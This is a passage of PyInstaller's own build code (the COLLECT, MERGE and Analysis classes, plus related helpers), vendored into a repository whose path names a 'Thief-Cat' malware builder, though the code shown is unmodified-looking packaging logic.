            resource_lang = _to_int(resource[3]) if len(resource) >= 4 else 0  # LANG_NEUTRAL

            # Prohibit wildcards for resource type and name.
            if resource_type == "*":
                raise ValueError(
                    f"Invalid Windows resource specifier {resource_spec!r}! "
                    f"For arbitrary data file, resource type cannot be a wildcard (*)!"
                )
            if resource_name == "*":
                raise ValueError(
                    f"Invalid Windows resource specifier {resource_spec!r}! "
                    f"For arbitrary data file, resource ma,e cannot be a wildcard (*)!"
                )

            try:
                with open(src_filename, 'rb') as fp:
                    data = fp.read()

                winresource.add_or_update_resource(
                    build_name,
                    data,
                    resource_type,
                    [resource_name],
                    [resource_lang],
                )
            except Exception as e:
                raise IOError(f"Failed to embed data file {src_filename!r} as Windows resource") from e

    def _append_data_to_exe(self, build_name, append_file):
        with open(build_name, 'ab') as outf:
            with open(append_file, 'rb') as inf:
                shutil.copyfileobj(inf, outf, length=64 * 1024)

    @staticmethod
    def _retry_operation(func, *args, max_attempts=20):
        """
        Attempt to execute the given function `max_attempts` number of times while catching exceptions that are usually
        associated with Windows anti-virus programs temporarily locking the access to the executable.
        """
        def _is_allowed_exception(e):
            """
            Helper to determine whether the given exception is eligible for retry or not.
            """
            if is_win:
                from PyInstaller.compat import pywintypes

            if isinstance(e, PermissionError):
                # Always retry on all instances of PermissionError
                return True
            elif is_win and isinstance(e, OSError):
                # For other types of OSError, validate errno (the values below are specific to Windows)
                _ALLOWED_ERRNO = {
                    13,  # EACCES (would typically be a PermissionError instead)
                    22,  # EINVAL (reported to be caused by Crowdstrike; see #7840)
                }
                if e.errno in _ALLOWED_ERRNO:
                    return True
            elif is_win and isinstance(e, pywintypes.error):
                # pywintypes.error is raised by helper functions that use win32 C API bound via pywin32-ctypes.
                _ALLOWED_WINERROR = {
                    5,  # ERROR_ACCESS_DENIED (reported in #7825)
                    32,  # ERROR_SHARING_VIOLATION (exclusive lock via `CreateFileW` flags, or via `_locked`).
                }
                if e.winerror in _ALLOWED_WINERROR:
                    return True
            return False

        func_name = func.__name__
        for attempt in range(max_attempts):
            try:
                return func(*args)
            except Exception as e:
                # Check if exception is eligible for retry; if not, also check its immediate cause (in case the
                # exception was thrown from an eligible exception).
                if not _is_allowed_exception(e) and not _is_allowed_exception(e.__context__):
                    raise

                # Retry after sleep (unless this was our last attempt)
                if attempt < max_attempts - 1:
                    sleep_duration = 1 / (max_attempts - 1 - attempt)
                    logger.warning(
                        f"Execution of {func_name!r} failed on attempt #{attempt + 1} / {max_attempts}: {e!r}. "
                        f"Retrying in {sleep_duration:.2f} second(s)..."
                    )
                    time.sleep(sleep_duration)
                else:
                    logger.warning(
                        f"Execution of {func_name!r} failed on attempt #{attempt + 1} / {max_attempts}: {e!r}."
                    )
                    raise RuntimeError(f"Execution of {func_name!r} failed - no more attempts left!") from e


class COLLECT(Target):
    """
    In one-dir mode creates the output folder with all necessary files.
    """
    def __init__(self, *args, **kwargs):
        """
        args
            One or more arguments that are either an instance of `Target` or an iterable representing TOC list.
        kwargs
            Possible keyword arguments:

            name
                The name of the directory to be built.
        """
        from PyInstaller.config import CONF

        super().__init__()

        self.strip_binaries = kwargs.get('strip', False)
        self.upx_exclude = kwargs.get("upx_exclude", [])
        self.console = True
        self.target_arch = None
        self.codesign_identity = None
        self.entitlements_file = None

        # UPX needs to be both available and enabled for the taget.
        self.upx_binaries = CONF['upx_available'] and kwargs.get('upx', False)

        # The `name` should be the output directory name, without the parent path (the directory is created in the
        # DISTPATH). Old .spec formats included parent path, so strip it away.
        self.name = os.path.join(CONF['distpath'], os.path.basename(kwargs.get('name')))

        for arg in args:
            if isinstance(arg, EXE):
                self.contents_directory = arg.contents_directory
                break
        else:
            raise ValueError("No EXE() instance was passed to COLLECT()")

        self.toc = []
        for arg in args:
            # Valid arguments: EXE object and TOC-like iterables
            if isinstance(arg, EXE):
                # Add EXE as an entry to the TOC, and merge its dependencies TOC
                self.toc.append((os.path.basename(arg.name), arg.name, 'EXECUTABLE'))
                self.toc.extend(arg.dependencies)
                # Inherit settings
                self.console = arg.console
                self.target_arch = arg.target_arch
                self.codesign_identity = arg.codesign_identity
                self.entitlements_file = arg.entitlements_file
                # Search for the executable's external manifest, and collect it if available
                for dest_name, src_name, typecode in arg.toc:
                    if dest_name == os.path.basename(arg.name) + ".manifest":
                        self.toc.append((dest_name, src_name, typecode))
                # If PKG is not appended to the executable, we need to collect it.
                if not arg.append_pkg:
                    self.toc.append((os.path.basename(arg.pkgname), arg.pkgname, 'PKG'))
            elif miscutils.is_iterable(arg):
                # TOC-like iterable
                self.toc.extend(arg)
            else:
                raise TypeError(f"Invalid argument type for COLLECT: {type(arg)!r}")

        # Normalize TOC
        self.toc = normalize_toc(self.toc)

        self.__postinit__()

    _GUTS = (
        # COLLECT always builds, we just want the TOC to be written out.
        ('toc', None),
    )

    def _check_guts(self, data, last_build):
        # COLLECT always needs to be executed, in order to clean the output directory.
        return True

    def assemble(self):
        _make_clean_directory(self.name)
        logger.info("Building COLLECT %s", self.tocbasename)
        for dest_name, src_name, typecode in self.toc:
            # Ensure that the source file exists, if necessary. Skip the check for DEPENDENCY entries due to special
            # contents of 'dest_name' and/or 'src_name'. Same for the SYMLINK entries, where 'src_name' is relative
            # target name for symbolic link.
            if typecode not in {'DEPENDENCY', 'SYMLINK'} and not os.path.exists(src_name):
                # If file is contained within python egg, it will be added with the egg.
                if strict_collect_mode:
                    raise ValueError(f"Non-existent resource {src_name}, meant to be collected as {dest_name}!")
                else:
                    logger.warning(
                        "Ignoring non-existent resource %s, meant to be collected as %s", src_name, dest_name
                    )
                    continue
            # Disallow collection outside of the dist directory.
            if os.pardir in os.path.normpath(dest_name).split(os.sep) or os.path.isabs(dest_name):
                raise SystemExit(
                    'Security-Alert: attempting to store file outside of the dist directory: %r. Aborting.' % dest_name
                )
            # Create parent directory structure, if necessary
            if typecode in ("EXECUTABLE", "PKG"):
                dest_path = os.path.join(self.name, dest_name)
            else:
                dest_path = os.path.join(self.name, self.contents_directory, dest_name)
            dest_dir = os.path.dirname(dest_path)
            try:
                os.makedirs(dest_dir, exist_ok=True)
            except FileExistsError:
                raise SystemExit(
                    f"PyInstaller needs to create a directory at {dest_dir!r}, "
                    "but there already exists a file at that path!"
                )
            if typecode in ('EXTENSION', 'BINARY'):
                src_name = process_collected_binary(
                    src_name,
                    dest_name,
                    use_strip=self.strip_binaries,
                    use_upx=self.upx_binaries,
                    upx_exclude=self.upx_exclude,
                    target_arch=self.target_arch,
                    codesign_identity=self.codesign_identity,
                    entitlements_file=self.entitlements_file,
                    strict_arch_validation=(typecode == 'EXTENSION'),
                )
            if typecode == 'SYMLINK':
                os.symlink(src_name, dest_path)  # Create link at dest_path, pointing at (relative) src_name
            elif typecode != 'DEPENDENCY':
                # At this point, `src_name` should be a valid file.
                if not os.path.isfile(src_name):
                    raise ValueError(f"Resource {src_name!r} is not a valid file!")
                # If strict collection mode is enabled, the destination should not exist yet.
                if strict_collect_mode and os.path.exists(dest_path):
                    raise ValueError(
                        f"Attempting to collect a duplicated file into COLLECT: {dest_name} (type: {typecode})"
                    )
                # Use `shutil.copyfile` to copy file with default permissions. We do not attempt to preserve original
                # permissions nor metadata, as they might be too restrictive and cause issues either during subsequent
                # re-build attempts or when trying to move the application bundle. For binaries (and data files with
                # executable bit set), we manually set the executable bits after copying the file.
                shutil.copyfile(src_name, dest_path)
            if (
                typecode in ('EXTENSION', 'BINARY', 'EXECUTABLE')
                or (typecode == 'DATA' and os.access(src_name, os.X_OK))
            ):
                os.chmod(dest_path, 0o755)
        logger.info("Building COLLECT %s completed successfully.", self.tocbasename)


class MERGE:
    """
    Given Analysis objects for multiple executables, replace occurrences of data and binary files with references to the
    first executable in which they occur. The actual data and binary files are then collected only once, thereby
    reducing the disk space used by multiple executables. Every executable (even onedir ones!) obtained from a
    MERGE-processed Analysis gains onefile semantics, because it needs to extract its referenced dependencies from other
    executables into temporary directory before they can run.
    """
    def __init__(self, *args):
        """
        args
            Dependencies as a list of (analysis, identifier, path_to_exe) tuples. `analysis` is an instance of
            `Analysis`, `identifier` is the basename of the entry-point script (without .py suffix), and `path_to_exe`
            is path to the corresponding executable, relative to the `dist` directory (without .exe suffix in the
            filename component). For onefile executables, `path_to_exe` is usually just executable's base name
            (e.g., `myexecutable`). For onedir executables, `path_to_exe` usually comprises both the application's
            directory name and executable name (e.g., `myapp/myexecutable`).
        """
        self._dependencies = {}

        # Process all given (analysis, identifier, path_to_exe) tuples
        for analysis, identifier, path_to_exe in args:
            # Process analysis.binaries and analysis.datas TOCs. self._process_toc() call returns two TOCs; the first
            # contains entries that remain within this analysis, while the second contains entries that reference
            # an entry in another executable.
            binaries, binaries_refs = self._process_toc(analysis.binaries, path_to_exe)
            datas, datas_refs = self._process_toc(analysis.datas, path_to_exe)
            # Update `analysis.binaries`, `analysis.datas`, and `analysis.dependencies`.
            # The entries that are found in preceding executable(s) are removed from `binaries` and `datas`, and their
            # DEPENDENCY entry counterparts are added to `dependencies`. We cannot simply update the entries in
            # `binaries` and `datas`, because at least in theory, we need to support both onefile and onedir mode. And
            # while in onefile, `a.datas`, `a.binaries`, and `a.dependencies` are passed to `EXE` (and its `PKG`), with
            # onedir, `a.datas` and `a.binaries` need to be passed to `COLLECT` (as they were before the MERGE), while
            # `a.dependencies` needs to be passed to `EXE`. This split requires DEPENDENCY entries to be in a separate
            # TOC.
            analysis.binaries = normalize_toc(binaries)
            analysis.datas = normalize_toc(datas)
            analysis.dependencies += binaries_refs + datas_refs

    def _process_toc(self, toc, path_to_exe):
        # NOTE: unfortunately, these need to keep two separate lists. See the comment in the calling code on why this
        # is so.
        toc_keep = []
        toc_refs = []
        for entry in toc:
            dest_name, src_name, typecode = entry
            if src_name not in self._dependencies:
                logger.debug("Adding dependency %s located in %s", src_name, path_to_exe)
                self._dependencies[src_name] = path_to_exe
                # Add entry to list of kept TOC entries
                toc_keep.append(entry)
            else:
                # Keep SYMLINK entries intact (but add them to the references TOC instead of "for-keep" TOC, so they
                # end up in `a.dependencies`).
                if typecode == 'SYMLINK':
                    logger.debug("Referenced dependency %s is symbolic link; keeping it intact!", src_name)
                    toc_refs.append(entry)
                    continue

                # Construct relative dependency path; i.e., the relative path from this executable (or rather, its
                # parent directory) to the executable that contains the dependency.
                dep_path = os.path.relpath(self._dependencies[src_name], os.path.dirname(path_to_exe))
                # Ignore references that point to the origin package. This can happen if the same resource is listed
                # multiple times in TOCs (e.g., once as binary and once as data).
                if dep_path.endswith(path_to_exe):
                    logger.debug(
                        "Ignoring self-reference of %s for %s, located in %s - duplicated TOC entry?", src_name,
                        path_to_exe, dep_path
                    )
                    # The entry is a duplicate, and should be ignored (i.e., do not add it to either of output TOCs).
                    continue
                logger.debug("Referencing %s to be a dependency for %s, located in %s", src_name, path_to_exe, dep_path)
                # Create new DEPENDENCY entry; under destination path (first element), we store the original destination
                # path, while source path contains the relative reference path.
                toc_refs.append((dest_name, dep_path, "DEPENDENCY"))

        return toc_keep, toc_refs


UNCOMPRESSED = False
COMPRESSED = True

_MISSING_BOOTLOADER_ERRORMSG = """Fatal error: PyInstaller does not include a pre-compiled bootloader for your
platform. For more details and instructions how to build the bootloader see
<https://PyInstaller.readthedocs.io/en/stable/bootloader-building.html>"""

ThiefCat_assets/MwlareBuilder/building/api.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------
"""
Build packages using spec files.

NOTE: All global variables, classes and imported modules create API for .spec files.
"""

import glob
import os
import pathlib
import pprint
import shutil
import enum

import sys

from PyInstaller import DEFAULT_DISTPATH, DEFAULT_WORKPATH, HOMEPATH, compat
from PyInstaller import log as logging
from PyInstaller.building.api import COLLECT, EXE, MERGE, PYZ
from PyInstaller.building.datastruct import (
    TOC, Target, Tree, _check_guts_eq, normalize_toc, normalize_pyz_toc, toc_process_symbolic_links
)
from PyInstaller.building.osx import BUNDLE
from PyInstaller.building.splash import Splash
from PyInstaller.building.utils import (
    _check_guts_toc, _check_guts_toc_mtime, _should_include_system_binary, format_binaries_and_datas, compile_pymodule,
    add_suffix_to_extension, postprocess_binaries_toc_pywin32, postprocess_binaries_toc_pywin32_anaconda
)
from PyInstaller.compat import is_win, is_conda, is_darwin
from PyInstaller.depend import bindepend
from PyInstaller.depend.analysis import initialize_modgraph
from PyInstaller.depend.utils import create_py3_base_library, scan_code_for_ctypes
from PyInstaller import isolated
from PyInstaller.utils.misc import absnormpath, get_path_to_toplevel_modules, mtime
from PyInstaller.utils.hooks import get_package_paths
from PyInstaller.utils.hooks.gi import compile_glib_schema_files

if is_darwin:
    from PyInstaller.utils import osx as osxutils

logger = logging.getLogger(__name__)

STRINGTYPE = type('')
TUPLETYPE = type((None,))

rthooks = {}

# Place where the loader modules and initialization scripts live.
_init_code_path = os.path.join(HOMEPATH, 'PyInstaller', 'loader')

IMPORT_TYPES = [
    'top-level', 'conditional', 'delayed', 'delayed, conditional', 'optional', 'conditional, optional',
    'delayed, optional', 'delayed, conditional, optional'
]

WARNFILE_HEADER = """\

This file lists modules PyInstaller was not able to find. This does not
necessarily mean this module is required for running your program. Python and
Python 3rd-party packages include a lot of conditional or optional modules. For
example the module 'ntpath' only exists on Windows, whereas the module
'posixpath' only exists on Posix systems.

Types if import:
* top-level: imported at the top-level - look at these first
* conditional: imported within an if-statement
* delayed: imported within a function
* optional: imported within a try-except-statement

IMPORTANT: Do NOT post this list to the issue-tracker. Use it as a basis for
            tracking down the missing module yourself. Thanks!

"""


@isolated.decorate
def discover_hook_directories():
    """
    Discover hook directories via PyInstaller40 entry points. Perform the discovery in an isolated subprocess
    to avoid importing the package(s) in the main process.

    :return: list of discovered hook directories.
    """

    from traceback import format_exception_only
    from PyInstaller.log import logger
    from PyInstaller.compat import importlib_metadata

    # The “selectable” entry points (via group and name keyword args) were introduced in importlib_metadata 4.6 and
    # Python 3.10. The compat module ensures we are using a compatible version.
    entry_points = importlib_metadata.entry_points(group='PyInstaller40', name='hook-dirs')

    # Ensure that PyInstaller_hooks_contrib comes last so that hooks from packages providing their own take priority.
    entry_points = sorted(entry_points, key=lambda x: x.module == "_PyInstaller_hooks_contrib.hooks")

    hook_directories = []
    for entry_point in entry_points:
        try:
            hook_directories.extend(entry_point.load()())
        except Exception as e:
            msg = "".join(format_exception_only(type(e), e)).strip()
            logger.warning("discover_hook_directories: Failed to process hook entry point '%s': %s", entry_point, msg)

    logger.debug("discover_hook_directories: Hook directories: %s", hook_directories)

    return hook_directories


def find_binary_dependencies(binaries, import_packages):
    """
    Find dynamic dependencies (linked shared libraries) for the provided list of binaries.

    On Windows, this function performs additional pre-processing in an isolated environment in an attempt to handle
    dynamic library search path modifications made by packages during their import. The packages from the given list
    of collected packages are imported one by one, while keeping track of modifications made by `os.add_dll_directory`
    calls and additions to the `PATH`  environment variable. The recorded additional search paths are then passed to
    the binary dependency analysis step.

    binaries
            List of binaries to scan for dynamic dependencies.
    import_packages
            List of packages to import prior to scanning binaries.

    :return: expanded list of binaries and then dependencies.
    """

    # Extra library search paths (used on Windows to resolve DLL paths).
    extra_libdirs = []
    if compat.is_win:
        # Always search `sys.base_prefix`, and search it first. This ensures that we resolve the correct version of
        # `python3X.dll` and `python3.dll` (a PEP-0384 stable ABI stub that forwards symbols to the fully versioned
        # `python3X.dll`), regardless of other python installations that might be present in the PATH.
        extra_libdirs.append(compat.base_prefix)

        # If `pywin32` is installed, resolve the path to the `pywin32_system32` directory. Most `pywin32` extensions
        # reference the `pywintypes3X.dll` in there. Based on resolved `pywin32_system32` directory, also add other
        # `pywin32` directory, in case extensions in different directories reference each other (the ones in the same
        # directory should already be resolvable due to binary dependency analysis passing the analyzed binary's
        # location to the `get_imports` function). This allows us to avoid searching all paths in `sys.path`, which
        # may lead to other corner-case issues (e.g., #5560).
        pywin32_system32_dir = None
        try:
            # Look up the directory by treating it as a namespace package.
            _, pywin32_system32_dir = get_package_paths('pywin32_system32')
        except Exception:
            pass

        if pywin32_system32_dir:
            pywin32_base_dir = os.path.dirname(pywin32_system32_dir)
            extra_libdirs += [
                pywin32_system32_dir,  # .../pywin32_system32
                # based on pywin32.pth
                os.path.join(pywin32_base_dir, 'win32'),  # .../win32
                os.path.join(pywin32_base_dir, 'win32', 'lib'),  # .../win32/lib
                os.path.join(pywin32_base_dir, 'Pythonwin'),  # .../Pythonwin
            ]

    # On Windows, packages' initialization code might register additional DLL search paths, either by modifying the
    # `PATH` environment variable, or by calling `os.add_dll_directory`. Therefore, we import all collected packages,
    # and track changes made to the environment.
    if compat.is_win:
        # Helper functions to be executed in isolated environment.
        def setup():
            """
            Prepare environment for change tracking
            """
            import os

            os._added_dll_directories = []
            os._original_path_env = os.environ.get('PATH', '')

            _original_add_dll_directory = os.add_dll_directory

            def _pyi_add_dll_directory(path):
                os._added_dll_directories.append(path)
                return _original_add_dll_directory(path)

            os.add_dll_directory = _pyi_add_dll_directory

        def import_library(package):
            """
            Import collected package to set up environment.
            """
            try:
                __import__(package)
            except Exception:
                pass

        def process_search_paths():
            """
            Obtain lists of added search paths.
            """
            import os

            dll_directories = os._added_dll_directories

            orig_path = set(os._original_path_env.split(os.pathsep))
            modified_path = os.environ.get('PATH', '').split(os.pathsep)
            path_additions = [path for path in modified_path if path and path not in orig_path]

            return dll_directories, path_additions

        # Processing in isolated environment.
        with isolated.Python() as child:
            child.call(setup)
            for package in import_packages:
                child.call(import_library, package)
            added_dll_directories, added_path_directories = child.call(process_search_paths)

        # Process extra search paths...
        logger.info("Extra DLL search directories (AddDllDirectory): %r", added_dll_directories)
        extra_libdirs += added_dll_directories

        logger.info("Extra DLL search directories (PATH): %r", added_path_directories)
        extra_libdirs += added_path_directories

    # Deduplicate search paths
    extra_libdirs = list(set(extra_libdirs))

    # Search for dependencies of the given binaries
    return bindepend.binary_dependency_analysis(binaries, search_paths=extra_libdirs)


class _ModuleCollectionMode(enum.IntFlag):
    """
    Module collection mode flags.
    """
    PYZ = enum.auto()  # Collect byte-compiled .pyc into PYZ archive
    PYC = enum.auto()  # Collect byte-compiled .pyc as external data file
    PY = enum.auto()  # Collect source .py file as external data file


_MODULE_COLLECTION_MODES = {
    "pyz": _ModuleCollectionMode.PYZ,
    "pyc": _ModuleCollectionMode.PYC,
    "py": _ModuleCollectionMode.PY,
    "pyz+py": _ModuleCollectionMode.PYZ | _ModuleCollectionMode.PY,
    "py+pyz": _ModuleCollectionMode.PYZ | _ModuleCollectionMode.PY,
}


def _get_module_collection_mode(mode_dict, name, noarchive=False):
    """
    Determine the module/package collection mode for the given module name, based on the provided collection
    mode settings dictionary.
    """
    # Default mode: collect into PYZ, unless noarchive is enabled. In that case, collect as pyc.
    mode_flags = _ModuleCollectionMode.PYC if noarchive else _ModuleCollectionMode.PYZ

    # If we have no collection mode settings, end here and now.
    if not mode_dict:
        return mode_flags

    # Search the parent modules/packages in top-down fashion, and take the last given setting. This ensures that
    # a setting given for the top-level package is recursively propagated to all its subpackages and submodules,
    # but also allows individual sub-modules to override the setting again.
    mode = 'pyz'

    name_parts = name.split('.')
    for i in range(len(name_parts)):
        modlevel = ".".join(name_parts[:i + 1])
        modlevel_mode = mode_dict.get(modlevel, None)
        if modlevel_mode is not None:
            mode = modlevel_mode

    # Convert mode string to _ModuleCollectionMode flags
    try:
        mode_flags = _MODULE_COLLECTION_MODES[mode]
    except KeyError:
        raise ValueError(f"Unknown module collection mode for {name!r}: {mode!r}!")

    # noarchive flag being set means that we need to change _ModuleCollectionMode.PYZ into _ModuleCollectionMode.PYC
    if noarchive and _ModuleCollectionMode.PYZ in mode_flags:
        mode_flags ^= _ModuleCollectionMode.PYZ
        mode_flags |= _ModuleCollectionMode.PYC

    return mode_flags


class Analysis(Target):
    """
    Class that performs analysis of the user's main Python scripts.

    An Analysis contains multiple TOC (Table of Contents) lists, accessed as attributes of the analysis object.

    scripts
            The scripts you gave Analysis as input, with any runtime hook scripts prepended.
    pure
            The pure Python modules.
    binaries
            The extension modules and their dependencies.
    datas
            Data files collected from packages.
    zipfiles
            Deprecated - always empty.
    zipped_data
            Deprecated - always empty.
    """
    _old_scripts = {
        absnormpath(os.path.join(HOMEPATH, "support", "_mountzlib.py")),
        absnormpath(os.path.join(HOMEPATH, "support", "useUnicode.py")),
        absnormpath(os.path.join(HOMEPATH, "support", "useTK.py")),
        absnormpath(os.path.join(HOMEPATH, "support", "unpackTK.py")),
        absnormpath(os.path.join(HOMEPATH, "support", "removeTK.py"))
    }

    def __init__(
        self,
        scripts,
        pathex=None,
        binaries=None,
        datas=None,
        hiddenimports=None,
        hookspath=None,
        hooksconfig=None,
        excludes=None,
        runtime_hooks=None,
        cipher=None,
        win_no_prefer_redirects=False,
        win_private_assemblies=False,
        noarchive=False,
        module_collection_mode=None,
        **_kwargs,
    ):
        """
        scripts
                A list of scripts specified as file names.
        pathex
                An optional list of paths to be searched before sys.path.
        binaries
                An optional list of additional binaries (dlls, etc.) to include.
        datas
                An optional list of additional data files to include.
        hiddenimport
                An optional list of additional (hidden) modules to include.
        hookspath
                An optional list of additional paths to search for hooks. (hook-modules).
        hooksconfig
                An optional dict of config settings for hooks. (hook-modules).
        excludes
                An optional list of module or package names (their Python names, not path names) that will be
                ignored (as though they were not found).
        runtime_hooks
                An optional list of scripts to use as users' runtime hooks. Specified as file names.
        cipher
                Deprecated. Raises an error if not None.
        win_no_prefer_redirects
                Deprecated. Raises an error if not False.
        win_private_assemblies
                Deprecated. Raises an error if not False.
        noarchive
                If True, do not place source files in a archive, but keep them as individual files.
        module_collection_mode
                An optional dict of package/module names and collection mode strings. Valid collection mode strings:
                'pyz' (default), 'pyc', 'py', 'pyz+py' (or 'py+pyz')
        """
        if cipher is not None:
            from PyInstaller.exceptions import RemovedCipherFeatureError
            raise RemovedCipherFeatureError(
                "Please remove the 'cipher' arguments to PYZ() and Analysis() in your spec file."
            )
        if win_no_prefer_redirects:
            from PyInstaller.exceptions import RemovedWinSideBySideSupportError
            raise RemovedWinSideBySideSupportError(
                "Please remove the 'win_no_prefer_redirects' argument to Analysis() in your spec file."
            )
        if win_private_assemblies:
            from PyInstaller.exceptions import RemovedWinSideBySideSupportError
            raise RemovedWinSideBySideSupportError(
                "Please remove the 'win_private_assemblies' argument to Analysis() in your spec file."
            )
        super().__init__()
        from PyInstaller.config import CONF

        self.inputs = []
        spec_dir = os.path.dirname(CONF['spec'])
        for script in scripts:
            # If path is relative, it is relative to the location of .spec file.
            if not os.path.isabs(script):
                script = os.path.join(spec_dir, script)
            if absnormpath(script) in self._old_scripts:
                logger.warning('Ignoring obsolete auto-added script %s', script)
                continue
            # Normalize script path.
            script = os.path.normpath(script)
            if not os.path.exists(script):
                raise SystemExit("script '%s' not found" % script)
            self.inputs.append(script)

        # Django hook requires this variable to find the script manage.py.
        CONF['main_script'] = self.inputs[0]

        self.pathex = self._extend_pathex(pathex, self.inputs)
        # Set global config variable 'pathex' to make it available for PyInstaller.utils.hooks and import hooks. Path
        # extensions for module search.
        CONF['pathex'] = self.pathex
        # Extend sys.path so PyInstaller could find all necessary modules.
        logger.info('Extending PYTHONPATH with paths\n' + pprint.pformat(self.pathex))
        sys.path.extend(self.pathex)

        self.hiddenimports = hiddenimports or []
        # Include hidden imports passed via CONF['hiddenimports']; these might be populated if user has a wrapper script
        # that calls `build_main.main()` with custom `pyi_config` dictionary that contains `hiddenimports`.
        self.hiddenimports.extend(CONF.get('hiddenimports', []))

        self.hookspath = []
        # Append directories in `hookspath` (`--additional-hooks-dir`) to take precedence over those from the entry
        # points.
        if hookspath:
            self.hookspath.extend(hookspath)

        # Add hook directories from PyInstaller entry points.
        self.hookspath += discover_hook_directories()

        self.hooksconfig = {}
        if hooksconfig:
            self.hooksconfig.update(hooksconfig)

        # Custom runtime hook files that should be included and started before any existing PyInstaller runtime hooks.
        self.custom_runtime_hooks = runtime_hooks or []

        self._input_binaries = []
        self._input_datas = []

        self.excludes = excludes or []
        self.scripts = []
        self.pure = []
        self.binaries = []
        self.zipfiles = []
        self.zipped_data = []
        self.datas = []
        self.dependencies = []
        self._python_version = sys.version
        self.noarchive = noarchive
        self.module_collection_mode = module_collection_mode or {}

        # Expand the `binaries` and `datas` lists specified in the .spec file, and ensure that the lists are normalized
        # and sorted before guts comparison.
        #
        # While we use these lists to initialize `Analysis.binaries` and `Analysis.datas`, at this point, we need to
        # store them in separate variables, which undergo *full* guts comparison (`_check_guts_toc`) as opposed to
        # just mtime-based comparison (`_check_guts_toc_mtime`). Changes to these initial list *must* trigger a rebuild
        # (and due to the way things work, a re-analysis), otherwise user might end up with a cached build that fails to
        # reflect the changes.
        if binaries:
            logger.info("Appending 'binaries' from .spec")
            self._input_binaries = [(dest_name, src_name, 'BINARY')
                                    for dest_name, src_name in format_binaries_and_datas(binaries, workingdir=spec_dir)]
            self._input_binaries = sorted(normalize_toc(self._input_binaries))

        if datas:
            logger.info("Appending 'datas' from .spec")
            self._input_datas = [(dest_name, src_name, 'DATA')
                                 for dest_name, src_name in format_binaries_and_datas(datas, workingdir=spec_dir)]
            self._input_datas = sorted(normalize_toc(self._input_datas))

        self.__postinit__()

    _GUTS = (  # input parameters
        ('inputs', _check_guts_eq),  # parameter `scripts`
        ('pathex', _check_guts_eq),
        ('hiddenimports', _check_guts_eq),
        ('hookspath', _check_guts_eq),
        ('hooksconfig', _check_guts_eq),
        ('excludes', _check_guts_eq),
        ('custom_runtime_hooks', _check_guts_eq),
        ('noarchive', _check_guts_eq),
        ('module_collection_mode', _check_guts_eq),

        ('_input_binaries', _check_guts_toc),
        ('_input_datas', _check_guts_toc),

        # calculated/analysed values
        ('_python_version', _check_guts_eq),
        ('scripts', _check_guts_toc_mtime),
        ('pure', _check_guts_toc_mtime),
        ('binaries', _check_guts_toc_mtime),
        ('zipfiles', _check_guts_toc_mtime),
        ('zipped_data', None),  # TODO check this, too
        ('datas', _check_guts_toc_mtime),
        # TODO: Need to add "dependencies"?
    )

    def _extend_pathex(self, spec_pathex, scripts):
        """
        Normalize additional paths where PyInstaller will look for modules and add paths with scripts to the list of
        paths.

        :param spec_pathex: Additional paths defined defined in .spec file.
        :param scripts: Scripts to create executable from.
        :return: list of updated paths
        """
        # Based on main supplied script - add top-level modules directory to PYTHONPATH.
        # Sometimes the main app script is not top-level module but submodule like 'mymodule.mainscript.py'.
        # In that case PyInstaller will not be able find modules in the directory containing 'mymodule'.
        # Add this directory to PYTHONPATH so PyInstaller could find it.
        pathex = []
        # Add scripts paths first.
        for script in scripts:
            logger.debug('script: %s' % script)
            script_toplevel_dir = get_path_to_toplevel_modules(script)
            if script_toplevel_dir:
                pathex.append(script_toplevel_dir)
        # Append paths from .spec.
        if spec_pathex is not None:
            pathex.extend(spec_pathex)
        # Normalize paths in pathex and make them absolute.
        return [absnormpath(p) for p in pathex]

    def _check_guts(self, data, last_build):
        if Target._check_guts(self, data, last_build):
            return True
        for filename in self.inputs:
            if mtime(filename) > last_build:
                logger.info("Building because %s changed", filename)
                return True
        # Now we know that none of the input parameters and none of the input files has changed. So take the values
        # that were calculated / analyzed in the last run and store them in `self`. These TOC lists should already
        # be normalized.
        self.scripts = data['scripts']
        self.pure = data['pure']
        self.binaries = data['binaries']
        self.zipfiles = data['zipfiles']
        self.zipped_data = data['zipped_data']
        self.datas = data['datas']

        return False

    def assemble(self):
        """
        This method is the MAIN method for finding all necessary files to be bundled.
        """
        from PyInstaller.config import CONF

        for m in self.excludes:
            logger.debug("Excluding module '%s'" % m)
        self.graph = initialize_modgraph(excludes=self.excludes, user_hook_dirs=self.hookspath)

        # Initialize `binaries` and `datas` with `_input_binaries` and `_input_datas`. Make sure to copy the lists
        # to prevent modifications of original lists, which we need to store in original form for guts comparison.
        self.datas = [entry for entry in self._input_datas]
        self.binaries = [entry for entry in self._input_binaries]

        # TODO: find a better place where to put 'base_library.zip' and when to created it.
        # For Python 3 it is necessary to create file 'base_library.zip' containing core Python modules. In Python 3
        # some built-in modules are written in pure Python. base_library.zip is a way how to have those modules as
        # "built-in".
        libzip_filename = os.path.join(CONF['workpath'], 'base_library.zip')
        create_py3_base_library(libzip_filename, graph=self.graph)
        # Bundle base_library.zip as data file.
        # Data format of TOC item: ('relative_path_in_dist_dir', 'absolute_path_on_disk', 'DATA')
        self.datas.append((os.path.basename(libzip_filename), libzip_filename, 'DATA'))

        # Expand sys.path of module graph. The attribute is the set of paths to use for imports: sys.path, plus our
        # loader, plus other paths from e.g. --path option).
        self.graph.path = self.pathex + self.graph.path

        # Scan for legacy namespace packages.
        self.graph.scan_legacy_namespace_packages()

        logger.info("Running Analysis %s", self.tocbasename)

        # Search for python shared library, which we need to collect into frozen application.
        logger.info('Looking for Python shared library...')
        python_lib = bindepend.get_python_library_path()
        if python_lib is None:
            from PyInstaller.exceptions import PythonLibraryNotFoundError
            raise PythonLibraryNotFoundError()
        logger.info('Using Python shared library: %s', python_lib)
        if is_darwin and osxutils.is_framework_bundle_lib(python_lib):
            # If python library is located in macOS .framework bundle, collect the bundle, and create symbolic link to
            # top-level directory.
            src_path = pathlib.PurePath(python_lib)
            dst_path = pathlib.PurePath(src_path.relative_to(src_path.parent.parent.parent.parent))
            self.binaries.append((str(dst_path), str(src_path), 'BINARY'))
            self.binaries.append((os.path.basename(python_lib), str(dst_path), 'SYMLINK'))
        else:
            self.binaries.append((os.path.basename(python_lib), python_lib, 'BINARY'))

        # -- Module graph. --
        #
        # Construct the module graph of import relationships between modules required by this user's application. For
        # each entry point (top-level user-defined Python script), all imports originating from this entry point are
